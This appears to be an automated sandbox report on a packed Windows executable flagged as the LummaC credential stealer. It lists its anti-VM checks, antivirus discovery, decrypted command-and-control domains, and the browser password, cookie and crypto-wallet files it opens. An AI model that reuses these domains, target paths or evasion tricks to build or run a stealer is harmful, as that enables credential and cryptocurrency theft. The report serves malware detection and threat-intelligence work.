Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: initial sample

Static PE information: section where entry point is pointing to: .vmp

Source: file.exe	Static PE information: section name: .vmp
Source: file.exe	Static PE information: section name: .vmp
Source: file.exe	Static PE information: section name: .vmp

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FC8446 push ds; ret	0_2_00FC845A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01100DF5 push esp; ret	0_2_01100E85
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FC9460 push ds; retf	0_2_00FC9468

Source: C:\Users\user\Desktop\file.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\file.exe

System information queried: FirmwareTableInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_010E282C rdtsc

0_2_010E282C

Source: C:\Users\user\Desktop\file.exe TID: 6472	Thread sleep time: -150000s >= -30000s			Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 4144	Thread sleep time: -30000s >= -30000s			Jump to behavior

Source: file.exe, 00000000.00000002.1761878212.00000000019DE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW8
Source: file.exe, 00000000.00000003.1679102211.0000000001A1D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1760802207.0000000001A1D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1761950712.0000000001A1D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1689019870.0000000001A28000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000003.1679102211.0000000001A1D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1760802207.0000000001A1D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1761950712.0000000001A1D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1689019870.0000000001A28000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWen-GBn

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_010E282C rdtsc

0_2_010E282C

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00FB5970 LdrInitializeThunk,

0_2_00FB5970

HIPS / PFW / Operating System Protection Evasion

LummaC encrypted strings found

Source: file.exe, 00000000.00000002.1761166396.0000000000FBA000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: demonstationfukewko.shop
Source: file.exe, 00000000.00000002.1761166396.0000000000FBA000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: liabilitynighstjsko.shop
Source: file.exe, 00000000.00000002.1761166396.0000000000FBA000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: alcojoldwograpciw.shop
Source: file.exe, 00000000.00000002.1761166396.0000000000FBA000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: incredibleextedwj.shop
Source: file.exe, 00000000.00000002.1761166396.0000000000FBA000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: shortsvelventysjo.shop
Source: file.exe, 00000000.00000002.1761166396.0000000000FBA000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: shatterbreathepsw.shop
Source: file.exe, 00000000.00000002.1761166396.0000000000FBA000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: tolerateilusidjukl.shop
Source: file.exe, 00000000.00000002.1761166396.0000000000FBA000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: productivelookewr.shop

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: file.exe, 00000000.00000003.1760802207.0000000001A1D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1761950712.0000000001A1D000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\file.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: file.exe PID: 6288, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000003.1760802207.0000000001A56000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Electrum\wallets
Source: file.exe, 00000000.00000003.1760802207.0000000001A56000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/JAXX New Version
Source: file.exe, 00000000.00000003.1679102211.0000000001A1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: file.exe, 00000000.00000003.1760802207.0000000001A56000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: file.exe, 00000000.00000003.1760802207.0000000001A56000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: file.exe, 00000000.00000003.1679102211.0000000001A1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Binance
Source: file.exe, 00000000.00000003.1679102211.0000000001A1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Ethereum
Source: file.exe, 00000000.00000003.1679102211.0000000001A1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Local\Coinomi\Coinomi\walletssu
Source: file.exe, 00000000.00000002.1762108416.0000000001A87000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\SQRKHNBNYN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\WKXEWIOTXI	Jump to behavior

Source: Yara match

File source: Process Memory Space: file.exe PID: 6288, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: file.exe PID: 6288, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	11 Virtualization/Sandbox Evasion	1 OS Credential Dumping	131 Security Software Discovery	Remote Services	1 Archive Collected Data	21 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
